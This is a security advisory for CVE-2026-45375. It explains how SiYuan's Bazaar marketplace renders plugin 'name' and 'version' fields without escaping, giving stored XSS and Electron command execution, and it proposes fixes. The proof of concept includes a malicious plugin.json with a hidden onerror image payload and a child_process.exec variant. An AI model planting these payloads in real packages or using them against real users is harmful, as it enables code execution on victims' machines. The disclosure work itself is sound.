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CVE-2026-45375

CRITICAL

SiYuan Bazaar marketplace renders unescaped package `name` and `version` metadata, allowing stored XSS and Electron code execution

Published May 13, 2026Updated June 8, 2026Source: osv

Summary

### Summary SiYuan's Bazaar (community marketplace) renders the `name` and `version` fields of a package's `plugin.json` (and the equivalent `theme.json` / `template.json` / `widget.json` / `icon.json`) into the Settings → Marketplace UI without HTML escaping. The kernel-side helper `sanitizePackageDisplayStrings` in `kernel/bazaar/package.go` HTML-escapes only `Author`, `DisplayName`, and `Description` — `Name` and `Version` flow through to the renderer raw. The frontend at `app/src/config/bazaar.ts` substitutes them into HTML template strings via `${item.preferredName}` / `${data.name}` / `v${data.version}` and assigns the result to `innerHTML`. As a consequence, malicious HTML in either field is parsed and executed when a user opens the marketplace tab. Because the desktop client is built on Electron with `nodeIntegration: true`, `contextIsolation: false`, and `webSecurity: false` (`app/electron/main.js:407-411`), the resulting cross-site scripting executes in a renderer with full access to Node.js APIs, escalating directly to arbitrary OS command execution under the victim's account. The trigger is **zero-click on the list view** — opening Settings → Marketplace → Downloaded → Plugins is sufficient; no Install/Update click is required. A second `preferredName` path exists: when `displayName: {}` (empty locale map), `GetPreferredLocaleString` falls back to the unescaped `pkg.Name`, so even a normal-looking visible plugin name carries the payload through the same sink. ### Details **Server-side allowlist — `kernel/bazaar/package.go:134-145`:** ```go func sanitizePackageDisplayStrings(pkg *Package) { if pkg == nil { return } pkg.Author = html.EscapeString(pkg.Author) for k, v := range pkg.DisplayName { pkg.DisplayName[k] = html.EscapeString(v) } for k, v := range pkg.Description { pkg.Description[k] = html.EscapeString(v) } // pkg.Name and pkg.Version are NOT escaped } ``` **`PreferredName` fallback — `kernel/bazaar/installed.go:59` and `kernel/bazaar/package.go:148-162`:** ```go // installed.go:59 pkg.PreferredName = GetPreferredLocaleString(pkg.DisplayName, pkg.Name) // package.go:148-162 func GetPreferredLocaleString(m LocaleStrings, fallback string) string { if len(m) == 0 { return fallback } // ← unescaped pkg.Name reaches the renderer if v := strings.TrimSpace(m[util.Lang]); v != "" { return v } if v := strings.TrimSpace(m["default"]); v != "" { return v } if v := strings.TrimSpace(m["en_US"]); v != "" { return v } return fallback } ``` **Online marketplace path skips the kernel sanitizer — `kernel/bazaar/package.go:127` + `kernel/bazaar/bazaar.go:48`:** ```go // package.go:127 (only the local install path calls sanitizePackageDisplayStrings) sanitizePackageDisplayStrings(ret) ``` `buildBazaarPackageWithMetadata` (`bazaar.go:48`), used to build the online marketplace listing, does **not** call the kernel's `sanitizePackageDisplayStrings`. Sanitization for the online stage is delegated to the `siyuan-note/bazaar` GitHub-Action workflow. **The upstream workflow has the same gap — `siyuan-note/bazaar/actions/stage/main.go:897-909`:** ```go // sanitizePackageDisplayStrings 对集市包直接显示的信息做 HTML 转义,避免 XSS。 // (跟思源内核 kernel/bazaar/package.go 保持一致) func sanitizePackageDisplayStrings(pkg *Package) { if pkg == nil { return } pkg.Author = html.EscapeString(pkg.Author) for k, v := range pkg.DisplayName { pkg.DisplayName[k] = html.EscapeString(v) } for k, v := range pkg.Description { pkg.Description[k] = html.EscapeString(v) } } ``` The function is byte-identical to the kernel helper — the Chinese comment translates to *"(kept in sync with the SiYuan kernel kernel/bazaar/package.go)"*. It is invoked at `main.go:707, 715, 723` once per package type during staging. `Name`, `Version`, and `Keywords` are unescaped at **both** layers: the kernel for local installs, the workflow for online listings. A malicious `plugin.json` submitted to the public bazaar therefore propagates the unsanitized fields to every SiYuan client that fetches the marketplace listing. **Frontend sinks — `app/src/config/bazaar.ts`:** ```ts // :430 — installed-plugin card list (zero-click) ${item.preferredName} // :526 — package detail view <a href="${data.repoURL}" ... title="GitHub Repo">${data.name}</a> // :540 — package detail view, version stripe <div ... style="line-height: 20px;">${window.siyuan.languages.currentVer}<br>v${data.version}</div> ``` The constructed template strings are subsequently assigned to `bazaar.element.innerHTML` / `readmeElement.innerHTML` / `mdElement.innerHTML` (lines 358, 472, 512, 600). **Renderer privilege boundary — `app/electron/main.js:407-411`:** ```js webPreferences: { nodeIntegration: true, webviewTag: true, webSecurity: false, contextIsolation: false, } ``` JavaScript executing in the marketplace tab can call `require('child_process').exec(...)` directly, escalating DOM XSS to OS command execution. ### PoC End-to-end verified against the official `b3log/siyuan:v3.6.5` Docker image. The browser leg uses Brave; the alert below is the safe-mode equivalent of the Electron `child_process.exec` payload. **1. Run a stock SiYuan v3.6.5 kernel:** ```sh mkdir -p /tmp/siyuan-poc-ws/data/plugins/evil-plugin docker run -d --name siyuan-poc -p 16806:6806 \ -v /tmp/siyuan-poc-ws:/siyuan/workspace \ -e SIYUAN_ACCESS_AUTH_CODE=test123 \ b3log/siyuan:v3.6.5 \ --workspace=/siyuan/workspace --accessAuthCode=test123 ``` **2. Plant a malicious plugin manifest at `/tmp/siyuan-poc-ws/data/plugins/evil-plugin/plugin.json`:** ```json { "name": "Markdown Utilities<img src=x onerror=\"alert(`SiYuan Bazaar XSS`)\" style=\"display:none\">", "displayName": {}, "description": {"default": "A small toolkit of markdown helpers - table sort, link checker, wordcount, etc."}, "author": "markdown-utils", "version": "1.4.2", "url": "https://github.com/markdown-utils/markdown-utilities", "backends": ["all"], "frontends": ["all"] } ``` The visible portion of the `name` field is the literal string `Markdown Utilities`. The `<img>` tag is rendered with `display:none`, so the marketplace card looks like a legitimate plugin entry — no broken-image icon, no suspicious text. **3. Verify the kernel returns the unescaped payload:** Authenticate via `http://127.0.0.1:16806/` (auth code `test123`), then call the API as the logged-in user: ```sh curl -s -b 'siyuan=<session-cookie>' \ -X POST http://127.0.0.1:16806/api/bazaar/getInstalledPlugin \ -H 'Content-Type: application/json' \ -d '{"frontend":"desktop","keyword":""}' ``` Observed (verbatim): ```json { "preferredName": "Markdown Utilities<img src=x onerror=\"alert(`SiYuan Bazaar XSS`)\" style=\"display:none\">", "name": "Markdown Utilities<img src=x onerror=\"alert(`SiYuan Bazaar XSS`)\" style=\"display:none\">", "version": "1.4.2" } ``` The HTML payload arrives at the client unmodified. **4. Trigger via the UI:** In a browser logged into the running SiYuan instance, open Settings → Marketplace → Downloaded → Plugins. The marketplace card list renders, `bazaar.ts:430` substitutes `${item.preferredName}` into the card HTML, the result is assigned to `bazaar.element.innerHTML`, the browser parses the `<img>` element, fails to load `src=x`, fires `onerror`, and **`alert("SiYuan Bazaar XSS")` pops**. The card itself displays as a normal-looking "Markdown Utilities" entry; the malicious markup is invisible. **5. Electron RCE substitution:** The same payload, modified for the Electron desktop client, replaces the alert with a Node-API call: ```json "name": "Markdown Utilities<img src=x onerror=\"require(`child_process`).exec(`open -a Calculator`)\" style=\"display:none\">" ``` On any Electron-packaged SiYuan v3.6.5 (e.g. `siyuan-3.6.5-mac-arm64.dmg`), opening Settings → Marketplace → Downloaded → Plugins launches Calculator. The same primitive can run any shell command available to the desktop user. ### Impact - **Stored XSS → arbitrary OS command execution** in the desktop Electron client under the victim's user account, with full filesystem and network access via Node.js APIs. - **Triggers on view, not on install.** Opening Settings → Marketplace → Downloaded → Plugins is sufficient; the payload runs before any "Install" or "Update" button is clicked. - **Visually undetectable.** The `display:none` style hides the malicious markup, so the marketplace card appears entirely legitimate. - **Survives transport.** The payload is a plain JSON string; it round-trips through tarball packaging, sync replication, `.sy.zip` export/import, and any other workspace-content transport without modification. - **Low attacker prerequisites.** Any path that gets a manifest into the workspace plugin directory triggers the bug. The Bazaar marketplace itself — both the install flow and the post-listing release-then-poison flow — is the canonical low-friction delivery channel. ### Suggested fix Primary: extend the kernel allowlist in `kernel/bazaar/package.go:134-145`: ```diff func sanitizePackageDisplayStrings(pkg *Package) { if pkg == nil { return } pkg.Author = html.EscapeString(pkg.Author) + pkg.Name = html.EscapeString(pkg.Name) + pkg.Version = html.EscapeString(pkg.Version) for k, v := range pkg.DisplayName { pkg.DisplayName[k] = html.EscapeString(v) } for k, v := range pkg.Description { pkg.Description[k] = html.EscapeString(v) } + for i, kw := range pkg.Keywords { pkg.Keywords[i] = html.EscapeString(kw) } } ``` Secondary: also call `sanitizePackageDisplayStrings` from `kernel/bazaar/bazaar.go:48` (`buildBazaarPackageWithMetadata`) so that the kernel applies the same protection regardless of whether metadata originates from a local install or the online stage. The same two-line addition is needed in the upstream workflow at `siyuan-note/bazaar/actions/stage/main.go:897-909` (already explicitly committed to "kept in sync with the SiYuan kernel kernel/bazaar/package.go"). Tertiary (defense in depth): wrap the frontend sinks in `app/src/config/bazaar.ts` (`${item.preferredName}`, `${data.name}`, `${data.version}`) with the existing `escapeHtml(...)` helper. Renderer hardening: switching the main BrowserWindow at `app/electron/main.js:407-411` to `contextIsolation: true` with a preload bridge would bound any future XSS in the renderer to DOM impact instead of OS command execution.

Affected Packages (1)

PackageEcosystemAffectedFixed In
github.com/siyuan-note/siyuan/kernel
go
All versionsRange-based data available

Vulnerability Classification

Common Weakness Enumeration (CWE) identifiers for this vulnerability type.

  • CWE-116
    Improper Encoding or EscapingMITRE
  • CWE-79
    Cross-site Scripting (XSS)MITRE

CVSS Score Breakdown

What the CVSS (Common Vulnerability Scoring System) 9.0 score means for each attack dimension.

Attack Vector
Network
Attack Complexity
Low
Privileges Required
Low
User Interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:H

Frequently Asked Questions

What is CVE-2026-45375?
SiYuan Bazaar marketplace renders unescaped package `name` and `version` metadata, allowing stored XSS and Electron code execution This vulnerability has been assigned a severity rating of CRITICAL (CVSS score: 9.0/10).
How do I check if my project is affected by CVE-2026-45375?
CVE-2026-45375 affects github.com/siyuan-note/siyuan/kernel. Use GeekWala's free vulnerability scanner to check your dependencies against CVE-2026-45375 and 200,000+ other known vulnerabilities.

Severity & Exploitability

CVSS Score
9.0

Exploitation is straightforward and causes maximum impact. Patch immediately.

Also Known As

GHSA-27qc-m5gf-jv5r
GO-2026-5001

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